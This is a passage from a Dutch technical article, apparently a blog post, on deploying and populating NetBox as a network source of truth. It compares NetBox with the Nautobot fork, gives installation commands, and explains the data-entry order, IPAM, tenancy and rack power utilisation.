users 7 vpn 10 core 8 Zesenvijftig daarvan zijn DCIM, de fysieke laag: sites, locaties, racks, apparaattypes, apparaten, en elk soort poort, bay en kabelafsluiting die een apparaat kan hebben. Achttien zijn IPAM. De rest dekt circuits, tunnels en IKE-policies, virtuele machines en clusters, draadloze verbindingen, tenancy, en de machinerie die het geheel uitbreidbaar maakt.\nHet aantal is niet het punt. De joins zijn dat, en de snelste manier om dat te zien is het scherm waar NetBox het bekendst om is.\nBegin bij de kast, want dat is het scherm dat het ding verkoopt.\nDie elevatie wordt uit de data getekend, niet geüpload. Elk apparaat staat er omdat iets zegt dat het die rack-units bezet, met die kant naar voren, en de kleuren komen van de rol die je het gegeven hebt. De ruimtebenutting leest 28,6% omdat NetBox het heeft uitgerekend. Niemand onderhoudt dat getal.\nEr volgen twee dingen uit die meer waard zijn dan het plaatje.\nJe kunt vragen welke units vrij zijn en een antwoord krijgen waar je mee verder kunt. Je kunt ook units reserveren voordat er iets in is gebouwd, en dat is het verschil tussen ruimte verkopen die je hebt en ruimte verkopen waarvan je denkt dat je die hebt.\nWat het bewust niet doet Een product dat weet wat het niet is, is zeldzamer dan een product dat alles slecht doet, en NetBox\u0026rsquo; eigen documentatie is er onomwonden over. Het levert geen netwerkmonitoring, geen DNS-dienst, geen RADIUS, geen configuratiebeheer en geen facilitair beheer.1\nBelangrijker nog: het bevat de gewenste toestand van je netwerk, niet de operationele toestand, en de documentatie zegt dat geautomatiseerde import van de levende netwerktoestand “strongly discouraged” is, omdat elk record eerst door een mens gecontroleerd moet worden.1\nDat is de beslissing waarop al het andere rust, en het is de beslissing waar mensen over in discussie gaan. Het argument gaat zo: een source of truth zou toch de waarheid moeten zijn, dus ontdek het netwerk en laad het in. Het antwoord is dat een ontdekt netwerk je vertelt wat er is, en wat er is omvat elke fout die ooit iemand heeft gemaakt. Een switchpoort die in 2021 in het verkeerde VLAN is gelaten, is een feit. Het is geen bedoeling.\nNetBox bevat de bedoeling. Je monitoring bevat de werkelijkheid. Het interessante getal is het verschil daartussen, en een verschil kun je niet uit één invoer berekenen.\nHet andere uitgangspunt staat er net zo helder: als je kunt kiezen tussen een relatief eenvoudige tachtigprocentoplossing en een veel complexere complete, neem dan de eenvoudige.1 Dat voel je de eerste keer dat je iets wilt modelleren wat het niet modelleert, en er staat tegen het eind een hele reeks secties over wat je dan doet.\nNetBox doet NetBox doet niet Vastleggen wat er zou moeten staan Opvragen wat er staat Het bedoelde VLAN voor een poort bevatten Je vertellen dat de poort eruit ligt Zeggen van welke klant een prefix is Het hem factureren De configuratie van een apparaat uit een template renderen Die naar het apparaat pushen Het circuit, de provider en de commit bijhouden Het circuit monitoren Zeggen in welk rack een apparaat staat, en in welke U De kast opendoen Lees die rechterkolom als een lijst van gereedschap dat je nog steeds nodig hebt. Lees hem verkeerd en je gaat proberen NetBox al dat gereedschap te laten zijn, en zo wordt een source of truth nog een systeem waar niemand op vertrouwt.\nWaarom je er een nodig hebt Vraag een managed service provider waar het gezaghebbende record van het netwerk van een klant staat, en je krijgt een antwoord. Vraag het twee van hun engineers apart en je krijgt er twee.\nEén wijst naar een spreadsheet. Eén wijst naar een schema dat het laatst is opgeslagen door iemand die in 2023 is weggegaan. Nog iemand zegt dat de firewallconfiguratie de documentatie is, wat tenminste eerlijk is, want een configuratie beschrijft wel degelijk wat een kast doet. Hij beschrijft alleen niet waarom, of wie erom heeft gevraagd, of welke van de vier klanten achter die kast voor de regel betaalt.\nHet falen is nooit de dag waarop je merkt dat het record verkeerd is. Het is de dag waarop iemand het nodig heeft.\nHet moment Wat je moet leveren Wat het kost als je dat niet kunt Een verlengingsgesprek Een post-voor-post overzicht van wat het maandbedrag koopt De aanbieding van de concurrent is uitgesplitst, want die is gaan tellen Een engineer neemt ontslag Alles wat hij wist, opgeschreven Zes maanden uitzoeken, één ticket per keer Een klant vertrekt Een beschrijving van zijn eigen bestand Drie weken om die samen te stellen, en een referentie die hij eerlijk zal geven Een auditor stelt een scopevraag Welke systemen persoonsgegevens bevatten en waar die fysiek staan Een toezichthouder iets vertellen wat later niet waar blijkt Een migratie moet geprijsd worden Een telling van wat er echt staat Je biedt op een schatting en eet het verschil op Niets daarvan is exotisch. Dat is dinsdag.\nWat je eruit haalt is geen documentatie. Documentatie is iets wat je schrijft en daarna niet meer onderhoudt. Wat je krijgt is een database die weigert een tegenspraak te bevatten, en die vragen beantwoordt die niemand vooraf had bedacht. Verderop in dit stuk staat een kast die 28,6 procent vol blijkt te zitten met apparatuur en 90,7 procent met stroom. Niemand was dat gaan zoeken. Het viel eruit omdat er één keer een wattage op een apparaattype is ingevuld.\nDe eerlijke kanttekening hoort erbij, en de laatste sectie gaat daarover. Een record is alleen waard wat het je kost om het juist te houden. Maar het alternatief is een bedrijf dat zichzelf niet kan beschrijven, en de eerste die dat ontdekt is meestal een klant.\nDe andere: Nautobot Hier loop je binnen ongeveer een week zoeken tegenaan, dus het is nuttig te weten wat er is gebeurd.\nIn 2021 forkte Network to Code NetBox en noemde het resultaat Nautobot. Geen zachte fork en geen distributie: een harde fork die al vijf jaar uiteenloopt. De eigen v1.0-releasenotes beschrijven het als “a divergent fork of NetBox 2.10”, de repository is aangemaakt op 19 februari 2021 en v1.0.0 kwam op 26 april 2021.3\nDe genoemde redenen staan op hun eigen blog en zijn in hun woorden beter te lezen dan in de mijne. Drie dingen dreven het. Ze wilden enterprise-support verkopen: “We need to offer high-touch support models with Service Level Agreements (SLAs) we can guarantee. We need flexibility to offer Long-term Support (LTS) for customers who can\u0026rsquo;t upgrade at the pace of a fast moving open source project.” Ze wilden dat de source of truth in het midden van een automatiseringsplatform zat in plaats van documentatie te dienen. En “there became a growing divergence in our vision about what a Source of Truth for networking should look like and how to get there”.4\nBij die eerste reden moet de datum, want hij is niet meer waar. In februari 2021 was er geen bedrijf achter NetBox dat je iets kon verkopen. NetBox Labs is pas in 2023 opgericht, als spin-out uit NS1 nadat IBM het had overgenomen, mede-opgericht door NetBox\u0026rsquo; eigen lead maintainer.5\nEn het is geen derde partij die een bedrijf op het project van iemand anders heeft gebouwd. NetBox Labs is de beheerder van NetBox: de documentatie van het project zelf zegt “the open source project is stewarded by NetBox Labs and a team of volunteer maintainers”.1 Ze verkopen NetBox Enterprise voor zelfbeheerde installaties, hosten het voor je als NetBox Cloud, en bieden support rond de klok.6\n“you cannot buy support for NetBox” was dus een eerlijke uitspraak toen Network to Code forkte, en is nu geen eerlijke uitspraak meer. Achter beide projecten staat een commercieel bedrijf dat iets ondertekent, en in het geval van NetBox is dat bedrijf degene die het project beheert.\nDe regel die de meeste mensen missen is de volgende, en die is de reden dat dit geen vies verhaal is: “the NetBox project team suggested that we should consider forking.”\nBeschaafder wordt een fork nauwelijks. Twee groepen wilden iets anders, zeiden dat over een lange periode, en gingen uit elkaar in plaats van te vechten over één codebase. Beide helften zijn nog steeds Apache 2.0. Niemand heeft iets meegenomen waar hij geen recht op had.\nWaar de fork echt voor was De releasenotes van Nautobot 1.0 noemen wat het toevoegde ten opzichte van NetBox 2.10, en die lijst vertelt het argument beter dan welk blogstuk ook:3\nWat Nautobot in 2021 toevoegde Waar NetBox nu staat GraphQL-ondersteuning NetBox heeft het Git-integratie als databron NetBox heeft het, als gesynchroniseerde databronnen Single sign-on NetBox heeft het Secrets NetBox heeft het via een plugin Scripts en reports samengevoegd tot Jobs NetBox haalt scripts in 4.7 naar een plugin Custom fields op alle modellen NetBox heeft brede ondersteuning voor custom fields Data-validation-plugin-API NetBox heeft custom validation rules Aanpasbare statussen, als databaseobjecten NetBox\u0026rsquo; statussen zijn nog steeds een Python choice set Door gebruikers gedefinieerde relaties tussen modellen NetBox heeft geen equivalent UUID-primaire sleutels NetBox gebruikt integer-sleutels Verbeteringen aan de plugin-API NetBox\u0026rsquo; plugin-framework is sindsdien flink gegroeid De bovenste helft is grotendeels naar elkaar toe gegroeid. Meerdere dingen die Nautobot in 2021 uitbracht, kwamen daarna in NetBox terecht, en dat is wat meestal gebeurt als twee projecten dezelfde problemen in het openbaar oplossen.\nDe onderste drie zijn niet naar elkaar toe gegroeid, en ze zijn architectonisch in plaats van cosmetisch. Ik heb vandaag beide codebases nagekeken in plaats van op de aantekeningen uit 2021 te vertrouwen.\nNautobots Status is een databasemodel, in de eigen broncode beschreven als een “Model for database-backend enum choice objects”, dus een status is een regel die iemand in de UI kan toevoegen. NetBox\u0026rsquo; statussen komen uit een Python choice set, en daarom voegt de sectie verderop er een toe door configuration.py aan te passen en te herstarten. Nautobot heeft Relationship- en RelationshipAssociation-modellen, dus je kunt een relatie tussen twee bestaande objecttypes definiëren zonder code te schrijven. NetBox\u0026rsquo; antwoord op dat probleem is een plugin, en dat is de laatste reeks secties in dit stuk. En Nautobots primaire sleutels zijn UUID\u0026rsquo;s, waar die van NetBox integers zijn.\nZe hebben ook gedaan waarvoor ze forkten. Vandaag publiceert Nautobot 3.2.x en 2.4.x op dezelfde dag, wat een echte langetermijnonderhoudslijn naast de huidige is, en dat was een van de drie genoemde redenen.\nWelke van de twee Eerst de eerlijke cijfers. NetBox heeft 21.625 sterren en 3.133 forks; Nautobot heeft 1.617 en 422.7 Naar beide is in de laatste twee dagen gepusht, beide zijn Apache 2.0, en achter beide staat nu een commercieel bedrijf dat support en hosting verkoopt.\nDat gat is geen oordeel over kwaliteit. Het weerspiegelt vijf jaar voorsprong en het feit dat de meeste mensen die een source of truth nodig hebben NetBox het eerst vinden. Maar het beslist wel over wat meestal meer uitmaakt dan features: hoeveel plugins, integraties, Ansible-modules, forumantwoorden en collega\u0026rsquo;s je vindt voor degene die je kiest.\nDus: wil je een inventaris en een source of truth die andere systemen lezen, en wil je het grootste ecosysteem en het makkelijkste aannemen, dan is het antwoord NetBox, en daar gaat de rest van dit stuk over. Is jouw reden voor een source of truth specifiek om er automatisering uit te besturen, of wil je statussen en relaties laten definiëren door je team in plaats van door een configuratiebestand en een herstart, ga dan eerst goed naar Nautobot kijken voordat je beslist.\nLaat niemand je er een van de twee verkopen op support alleen. Beide kampen hebben dat nu gedekt, en de verschillen die er over vijf jaar nog zijn, zijn die uit de tabel hierboven.\nWat je niet moet doen is er een kiezen omdat iemand je heeft verteld dat de ander dood is. Geen van beide is dat, en beide brachten deze week nog releases uit.\nEr een aan de praat krijgen Twee routes, en ik heb ze hier beide gelopen. Containers als je het in twintig minuten werkend wilt hebben, pakketten op een host als het dragend wordt.\nDe container-stack De community onderhoudt netbox-docker, en dat is het snelle antwoord:8\ngit clone -b release https://github.com/netbox-community/netbox-docker.git cd netbox-docker tee docker-compose.override.yml \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; services: netbox: ports: - 8000:8080 EOF docker compose pull docker compose up Dat geeft je de applicatie, PostgreSQL, Redis en een achtergrondworker, aan elkaar geknoopt. Ik heb hetzelfde met de hand onder podman gebouwd om de onderdelen te zien, en de onderdelen zijn het waard om te kennen, want twee ervan pakken mensen:\nContainer Doet wat Als je hem weglaat netbox De Django-applicatie achter gunicorn niets werkt postgres De database, 15 of nieuwer niets werkt redis / valkey Twee databases: één voor taken, één voor caching niets werkt netbox-worker rqworker, die de takenwachtrij leegwerkt webhooks vuren nooit, achtergrondtaken lopen nooit, en niets waarschuwt je netbox-housekeeping Het periodieke opruimen changelog-records verlopen nooit Die vierde regel is de belangrijke. Zonder worker ziet alles er gezond uit. Event rules stapelen op en blijven liggen.\nTwee dingen beten me bij de eerste run, en geen van beide staat in een foutmelding waar je op zou zoeken.\nDe eerste migratie duurt lang. Geen minuut. Op deze machine waren het er meerdere, omdat NetBox 4.7 django-mptt vervangt door PostgreSQL ltree en onderweg elke hiërarchische tabel herbouwt. De container zit daar gewoon migraties toe te passen. Laat hem met rust.\nZonder API_TOKEN_PEPPERS kun je geen v2-API-token aanmaken, en het enige teken is een waarschuwing in het log:\nUserWarning: API_TOKEN_PEPPERS is not defined. v2 API tokens cannot be used. Zet er minstens één, van minstens vijftig tekens, voordat je gaat zoeken waarom de API je afwijst.\nOp een host, uit de pakketten De gedocumenteerde route is getest op Ubuntu 24.04. Ik heb hem van begin tot eind op een schone gelopen, en het kwam hierop uit:\nComponent Wat 24.04 me gaf Wat NetBox 4.7 nodig heeft PostgreSQL 16.15 15 of nieuwer Redis 7.0.15 6.0 of nieuwer Python 3.12.3 3.12, 3.13 of 3.14 Django 6.1.1 komt met NetBox NetBox v4.7.2 Die minima zijn die van NetBox zelf, en 4.7 heeft zowel de PostgreSQL- als de Redis-ondergrens verhoogd.9\nDe hele klus is vijf stappen.\n# 1. the services sudo apt install -y postgresql redis-server sudo -u postgres psql -c \u0026#34;CREATE DATABASE netbox;\u0026#34; sudo -u postgres psql -c \u0026#34;CREATE USER netbox WITH PASSWORD \u0026#39;something-you-generated\u0026#39;;\u0026#34; sudo -u postgres psql -c \u0026#34;ALTER DATABASE netbox OWNER TO netbox;\u0026#34; sudo -u postgres psql -d netbox -c \u0026#34;GRANT CREATE ON SCHEMA public TO netbox;\u0026#34; # 2. the build dependencies sudo apt install -y python3 python3-pip python3-venv python3-dev build-essential libxml2-dev libxslt1-dev libffi-dev libpq-dev libssl-dev zlib1g-dev git # 3. the application, at a release tag rather than at main sudo mkdir -p /opt/netbox \u0026amp;\u0026amp; cd /opt/netbox sudo git clone https://github.com/netbox-community/netbox.git . sudo git checkout v4.7.2 sudo adduser --system --group netbox sudo chown -R netbox /opt/netbox/netbox/media/ /opt/netbox/netbox/scripts/ /opt/netbox/netbox/reports/ # 4. the configuration: five values, no more cd /opt/netbox/netbox/netbox/ sudo cp configuration_example.py configuration.py python3 /opt/netbox/netbox/generate_secret_key.py # run it twice sudo $EDITOR configuration.py # 5. let the upgrade script do the rest sudo /opt/netbox/upgrade.sh Die vijf waarden zijn ALLOWED_HOSTS, DATABASES, REDIS, SECRET_KEY en API_TOKEN_PEPPERS. Genereer de laatste twee apart en gebruik niet de een voor de ander. Laat de sleutelgenerator dus twee keer lopen en plak de resultaten op verschillende regels.\nupgrade.sh bouwt de virtuele omgeving, installeert elke Python-afhankelijkheid, voert de migraties uit, bouwt de documentatie voor offline gebruik en verzamelt de statische bestanden. Als het op een verse machine klaar is, print het een waarschuwing die alarmerend lijkt en dat niet is:\nWARNING: No existing virtual environment was detected. A new one has been created. Update your systemd service files to reflect the new Python and gunicorn executables. (If this is a new installation, this warning can be ignored.) Dan een superuser, en dat loopt zo:\nsource /opt/netbox/venv/bin/activate cd /opt/netbox/netbox \u0026amp;\u0026amp; python3 manage.py createsuperuser Voor iets echts zet je gunicorn ervoor in plaats van runserver. De configuratie en de unit-bestanden staan al in de repository, en dat is het detail dat je moet kennen omdat mensen hun eigen schrijven:\nsudo cp /opt/netbox/contrib/gunicorn.py /opt/netbox/gunicorn.py sudo cp -v /opt/netbox/contrib/*.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable --now netbox netbox-rq netbox.service draait gunicorn op 127.0.0.1:8001, netbox-rq.service draait de worker, en nginx of Apache gaat ervoor om TLS af te handelen en /static te serveren. Twee diensten, en de tweede is dezelfde worker die de container-stack nodig heeft.\nDe volgorde waarin je het moet vullen Een verse NetBox is een lege database met meningen, en het eerste uur ermee gaat meestal op aan uitzoeken welke dat zijn. Je gaat een apparaat toevoegen, en het laat je niet.\nDie rode sterretjes zijn de hele les. NetBox legt niets vast voordat de dingen bestaan waar het aan hangt, en het doet niet moeilijk: een apparaat zonder type is een regel die geen van de vragen kan beantwoorden waar een apparaat voor is.\nIn plaats van te gokken heb ik dus het model gevraagd welke foreign keys echt verplicht zijn, en daarna geprobeerd elke regel via de API te breken om te zien wat er terugkomt.\nPOST /api/dcim/device-types/ no manufacturer {\u0026#34;manufacturer\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/devices/ no device type {\u0026#34;device_type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/dcim/interfaces/ no device {\u0026#34;device\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/ipam/aggregates/ no RIR {\u0026#34;rir\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/circuits/circuits/ no provider, no type {\u0026#34;provider\u0026#34;: [\u0026#34;This field is required.\u0026#34;], \u0026#34;type\u0026#34;: [\u0026#34;This field is required.\u0026#34;]} POST /api/virtualization/virtual-machines/ nothing at all {\u0026#34;__all__\u0026#34;: [\u0026#34;A virtual machine must be assigned to a site, cluster, or device.\u0026#34;]} Elk ervan weigerde, en zei precies wat er ontbrak. Hier dezelfde informatie als lijst van voorwaarden:\nOm aan te maken Eerst nodig Optioneel, maar je wilt het eerst Tenant niets een tenantgroep Region, Site group niets een ouder van dezelfde soort, ze nesten Site niets een Region, een Site group, een Tenant Location een Site een bovenliggende Location, een Tenant Rack type een Manufacturer Rack een Site een Location, Rack group, Rack role, Rack type, Tenant Device type een Manufacturer Device role niets een bovenliggende Device role, ze nesten Device een Device role, een Device type, een Site een rack en positie, een Platform, een Tenant Interface, en elk ander component een Device Cable twee dingen om op af te sluiten een Tenant Aggregate een RIR een Tenant VLAN niets een VLAN group, een Role, een Tenant Prefix niets een Site, een VLAN, een Role, een VRF, een Tenant IP address niets een Interface om het aan toe te wijzen, een Tenant Circuit een Provider en een Circuit type een Tenant Circuit termination een Circuit een Site om op te landen Cluster een Cluster type een Cluster group, een Site, een Tenant Virtual machine een Site, een Cluster of een Device een Platform, een Tenant VM interface een Virtual machine De tweede kolom is die wat je kost. Prefixes, IP-adressen, VLAN\u0026rsquo;s en tenants vereisen helemaal niets, dus niets houdt je tegen om ze op dag één in elke volgorde aan te maken. Of ze ergens goed voor zijn is een andere vraag, want een adres zonder interface erachter is een regel in een lijst, en een apparaat zonder tenant is een apparaat dat je later nog eens gaat bewerken.\nDe volgorde om echt in te werken Dat geeft een reeks. Werk hem af en niets weigert je ooit iets.\nEerst de dingen waar al het andere aan hangt. Niets hiervan is opwindend en alles ervan is goedkoop om fout te doen.\nTenantgroepen, dan tenants. Doe deze voor al het andere. Achtentwintig modellen nemen een tenant, waaronder Site, Location en Rack, dus als de klanten nog niet bestaan kun je ze niet onderweg meestempelen en ga je later in bulk bewerken. Regio\u0026rsquo;s en site groups. Beide optioneel, beide nesten in zichzelf, en ze staan los van elkaar. Regio\u0026rsquo;s zijn voor geografie, site groups voor functie, en je kunt er een, beide of geen gebruiken. Sites. De wortel van bijna alles. Een site vereist niets, en daarom is het het eerste wat je echt kunt aanmaken. Locaties. Die hebben een site nodig, en ze nesten, dus een hal met rijen met pods is één model drie diep. Rack roles en rack groups. Beide optioneel. Rack groups zijn vlak en staan naast locaties als tweede as, wat handig is voor rijen en pods. Manufacturers, dan rack types. Een rack type heeft een manufacturer nodig. Laat rack types weg als je de kasten zelf niet modelleert. Racks. Die hebben een site nodig. Geef je er ook een locatie bij, dan moet die locatie bij die site horen, en NetBox controleert dat. Dan de hardwarecatalogus, niet de hardware. Voordat je één apparaat kunt toevoegen heb je manufacturers, device types, device roles en, in de praktijk, platforms nodig.\nManufacturers. Je hebt er misschien al een paar uit stap 6, want rack types hebben ze ook nodig. Module types eveneens. Device types, die elk een manufacturer nodig hebben. Device roles, die nesten, en platforms. Dit is de stap die mensen overslaan, en het is de stap die bepaalt hoeveel typewerk de rest van de klus kost. Een device type draagt zijn eigen interfaces, poorten en bays als templates, dus elk apparaat dat je ervan aanmaakt komt met de juiste componenten er al op. Doe het type één keer goed en veertig ervan inracken zijn veertig namen.\nPlatform is de buitenbeen in die lijst, want een apparaat vereist er strikt genomen geen. Doe het nu toch. Het is wat later het config-template en de NAPALM-driver draagt, en teruggaan om het op een heel bestand te zetten is dezelfde avond die je aan tenants had besteed.\nDan de apparatuur zelf.\nApparaten. Rol, type en site zijn alle drie verplicht. Rack en positie zijn optioneel, en als je ze geeft moeten ze consistent zijn met de site. Componenten, als het device type ze niet al heeft geleverd. Kabels, tussen de componenten. Dan de adressering, want een adres wil een interface om op te leven en de interface bestaat pas na stap 12.\nRIR\u0026rsquo;s, dan aggregates. Prefix- en VLAN-rollen, VRF\u0026rsquo;s, VLAN groups en dan VLAN\u0026rsquo;s. Prefixes, dan de losse IP-adressen. Dan de commerciële laag.\nProviders, provider accounts en circuit types. Circuits, en sluit ze dan af op sites. En het virtuele bestand, dat het fysieke spiegelt.\nCluster types en cluster groups, dan clusters. Virtuele machines, die een site, een cluster of een apparaat nodig hebben, en dan hun interfaces. Stap 1 tot 10 zijn een middag en voelen als administratie. Er is niets glamoureus aan. Het is ook de middag die bepaalt of stap 11 een ochtend of veertien dagen kost.\nDe regels die later bijten Verplichte velden zijn de makkelijke helft, want die falen direct en vertellen je waarom. Waar mensen op stuklopen zijn de consistentieregels, en die vuren pas als je genoeg data hebt om jezelf tegen te spreken:\ndevice at Leeds, put in a Manchester rack {\u0026#34;rack\u0026#34;: [\u0026#34;Rack MCR1-A07 (A07) does not belong to site Leeds Edge.\u0026#34;]} device at Leeds, in a Manchester location {\u0026#34;location\u0026#34;: [\u0026#34;Location Hall 2 does not belong to site Leeds Edge.\u0026#34;]} rack at Leeds, in a Manchester location {\u0026#34;__all__\u0026#34;: [\u0026#34;Assigned location must belong to parent site (Leeds Edge).\u0026#34;]} a second device in a unit that is already taken {\u0026#34;position\u0026#34;: [\u0026#34;U39.0 is already occupied or does not have sufficient space to accommodate this device type: MX204 (1.0U)\u0026#34;]} Die laatste is degene waar ik naar zou wijzen als iemand vroeg waarom je je hier druk om maakt. NetBox weet dat het apparaat 1U is, weet wat er in de kast staat, en laat je geen twee dingen op dezelfde plek vastleggen. Jouw spreadsheet laat je dat de hele middag doen zonder een woord te zeggen, en je komt het erachter als iemand met een doos in zijn handen in de hal staat.\nNiets hiervan is instelbaar en niets hiervan zou dat moeten zijn. Dat is het verschil tussen een record en een wens.\nIn gebruik: wat elk scherm je geeft Met het bestand geladen is dit wat je er echt uit terugkrijgt. Alles hieronder is diezelfde instantie: één kast, veertien apparaten, gekabeld en geadresseerd over drie klanten.\nEen apparaat is zijn componenten Klik in een van die hypervisors en het interessante tabblad is niet de samenvatting, het zijn de interfaces.\nLees één regel dwars. De interface, zijn snelheid, wat je erover hebt geschreven, het adres erop, het label op de kabel, en de poort aan de andere kant. Dat is één query, en het is het antwoord op de vraag die iedereen echt stelt, namelijk “wat hangt hier aan”.\nLet op waar het adres zit. Het zit op eno1, niet op de server. Dat klinkt als muggenziften, precies tot je een kast hebt met een managementinterface, twee data-interfaces en een loopback, en iemand vraagt welk adres ervoor antwoordt. Een model dat adressen aan apparaten hangt kan het je niet vertellen. Dit kan het wel, en het kan ook het volkomen gewone geval van vier adressen op één interface bevatten.\nDe kabel volgen Kabels sluiten af op componenten, niet op apparaten. Een interface aan de ene kant, een interface aan de andere, of een front port, een rear port, een stroomuitgang, een circuitafsluiting. Dat is het detail waarop de hele functie rust, en het is waarom de interfacelijst hierboven de andere kant in een eigen kolom kon afdrukken zonder dat het haar is verteld.\nModelleer een kabel van apparaat naar apparaat en je hebt een plaatje getekend. Sluit hem af op de poorten en NetBox kan hem aflopen.\nHier één hop, want het is een direct-attach-kabel. Zet patchpanelen in het midden en het loopt ze af, paneel voor paneel, en vertelt je wat er aan het eind van een traject door drie kasten hangt. Dat is de klus waar anders een zaklamp en iemand die het andere eind van een toongenerator vasthoudt aan te pas komt.\nHet spoor drukt ook de volledige locatie van elk uiteinde af. Site, hal, kast, kant, rack-unit. Als je ooit aan de telefoon hebt geprobeerd een remote-hands-engineer uit te leggen naar welke kast hij moet kijken, is die regel de hele waarde.\nAdressen, als boom in plaats van als tabblad IPAM is de helft waarvoor mensen komen.\nDe inspringing wordt uit de adressen zelf berekend. Je vertelt NetBox niet dat 10.20.20.0/24 in 10.20.0.0/16 zit, het rekent dat uit, en het blijft dat uitrekenen als iemand er volgend jaar een /26 middenin zet.\nElke regel draagt de dingen waarop je echt filtert: het VLAN waar hij naar wijst, de rol, en de klant van wie hij is. De benutting wordt ook berekend.\nOpen er een en je krijgt de adressen erin, en de gaten.\nDie groene regels zijn de vrije ruimte, in lijn met de gebruikte ruimte getoond. Er is een API-aanroep die je het volgende vrije adres uit een prefix teruggeeft, en dat is het ene stuk IPAM-automatisering dat zich direct terugbetaalt, want het is wat mensen anders doen door naar een spreadsheet te turen en te hopen.\nEen interface neemt zoveel adressen als je wilt, uit beide families, en je benoemt er een van elk als het primaire van het apparaat.\nTwee IPv4 en twee IPv6 op één poort, wat een gewone dinsdag is en iets wat een apparaatgericht model helemaal niet kan uitdrukken.\nVoer adressen in met het masker van het netwerk waarop ze liggen, niet als /32. NetBox accepteert 10.20.20.11/32 en zet het onder het juiste prefix, want de insluiting wordt uit het hostadres bepaald. Wat het niet doet is je achteraf overrulen: het masker wordt precies zo opgeslagen als het is getypt en zo teruggegeven aan alles wat het leest, dus een /32 op een LAN-adres rendert een /32 in de apparaatconfiguratie. De plek waar dat bijt is drie maanden later in een config-template, niet vandaag in het formulier.\nEén installatie, drie klanten De meeste objecten in NetBox kunnen aan een tenant worden toegewezen. Een onderneming gebruikt dat voor bedrijfsonderdelen. Verkoop je managed services, dan maak je er een per klant.\nDat paneel rechts is het antwoord op “wat heeft deze klant”, en het heeft zichzelf samengesteld. Geen rapport, geen spreadsheet, geen navraag bij de engineer die het heeft gebouwd.\nHet is de moeite om precies te zijn over wat tenancy betekent, want het op dag één fout doen is een jaar ontwarren later. Een tenant betekent dat het object aan die klant is toegewijd. Een router die alleen hem bedient krijgt zijn tenant. Een firewall die vier van hen bedient hoort bij geen van hen, dus die krijgt er geen, en de relatie gaat ergens anders heen. Daarover verderop meer, want dat is het punt waar de meeste mensen merken dat ze iets van zichzelf moeten toevoegen.\nZet de cijfers op het apparaattype Dit is de stap die een inventaris scheidt van iets wat vragen beantwoordt, en hij kost ongeveer tien minuten per apparaattype.\nEen device type kan zijn gewicht dragen en, via zijn power port-templates, zijn stroomafname. Zet die één keer op het type en elk apparaat dat je er ooit van aanmaakt erft ze. Laat ze weg en NetBox vertelt je vrolijk dat een kast 28,6% vol zit en niets anders.\nIk heb alle vijf types hier een gewicht gegeven, elk twee power port-templates met een maximale en een toegewezen afname, het PDU-type een inlet en twaalf uitgangen, daarna een power panel en twee feeds naar de kast aangemaakt en het geheel gekabeld: elke PSU1 van elk apparaat naar PDU A, elke PSU2 naar PDU B, en de inlet van elke PDU naar zijn feed.\nDan verandert de rackpagina compleet.\nRuimtebenutting 28,6%. Strombenutting 90,7%.\nDie kast zit voor een derde vol met apparatuur en is bijna door zijn stroom heen, en dat is een feit over je bestand dat geen spreadsheet ooit uit zichzelf aandraagt. Het is ook het feit dat bepaalt of de volgende order daar wordt ingeracked of ergens anders, en het viel uit data die je één keer hebt ingevoerd, op de types.\nTwee dingen die het op nul laten staan Ik had eerst 0,0%, twee keer, en beide oorzaken zijn het waard om te kennen want geen van beide levert een fout op.\nDe uitgangen moeten naar de inlet verwijzen. Een stroomuitgang op een PDU heeft een veld power_port dat naar de bovenliggende poort op hetzelfde apparaat wijst. Laat het leeg en de keten is verbroken: NetBox heeft geen manier om te weten dat die twaalf uitgangen door die inlet worden gevoed, dus niets aggregeert.\nLaat de afnamevelden van de inlet leeg. Dit is de contra-intuïtieve. NetBox berekent de afname van een power port uit wat eraan hangt alleen als zijn eigen twee afnamevelden leeg zijn:\nif self.allocated_draw is None and self.maximum_draw is None: ...aggregate the downstream power ports... # otherwise return {\u0026#39;allocated\u0026#39;: self.allocated_draw or 0, ...} Ik had behulpzaam maximum_draw: 7400 op de PDU-inlet gezet, want daar is de PDU op gespecificeerd. NetBox geloofde me dus, nam allocated_draw als niet gezet, en rapporteerde nul. Maak beide leeg en het rekent het uit:\nmcr1-pdu-a INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets mcr1-pdu-b INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets feed MCR1-A07-A: available 5888 VA (230 V x 32 A x 80% max utilisation) RACK power utilisation: 90.7 % RACK weight: 166.6 kg of 900 kg De regel is dus: zet echte cijfers op de bladeren, en laat de tussenliggende poorten leeg zodat NetBox ze kan optellen. Een administratief ingestelde waarde wint altijd van de berekende, wat correct gedrag is en precies het verkeerde om op een PDU te doen.\nKoeling, wat nieuw is Versie 4.7 heeft koeling aan DCIM toegevoegd, en het kwam met de helft die duur wordt. Een rack draagt een cooling capability van lucht, hybride of vloeistof en een capaciteit in kilowatt; een device type draagt een cooling method. Daarboven zitten cooling sources voor de koelmachines en CRAC-units, cooling feeds die een lus naar een rack voorstellen, en intake- en outflow-componenten op de apparaten zelf voor koudeplaten en verdelers.\nDe kast hierboven leest Hybrid, 15,00 kW, omdat ik dat aan het rack heb verteld. Neem je dit jaar vloeistofgekoelde apparatuur in ontvangst, dan is dat een model voor wat je nu in een spreadsheet bijhoudt.\nEén installatie, veel klanten Tenancy is de reden dat een provider één NetBox kan draaien in plaats van een per klant, en het is de moeite te begrijpen wat het doet en, belangrijker, wat het niet doet.\nAchtentwintig van NetBox\u0026rsquo; modellen dragen een tenant-veld. Sites, locaties, racks en rackreserveringen. Apparaten, kabels en virtual device contexts. Prefixes, IP-adressen, ranges, aggregates, VLAN\u0026rsquo;s, VLAN groups, VRF\u0026rsquo;s, route targets, ASN\u0026rsquo;s. Circuits en circuit groups. Clusters en virtuele machines. Tunnels, L2VPN\u0026rsquo;s, wireless LAN\u0026rsquo;s en links. Power feeds en cooling feeds.\nDat is elk factureerbaar zelfstandig naamwoord. Zet het consequent en “wat heeft deze klant” is geen onderzoek meer.\nMaar een tenant is een label, geen slot. Het zegt dat het object aan die klant is toegewijd. Het houdt niemand die kan inloggen tegen om het geheel te lezen, wat binnen één bedrijf prima is en helemaal niets meer waard is zodra een klant een account heeft.\nEr volgen twee dingen uit, en het tweede is wat 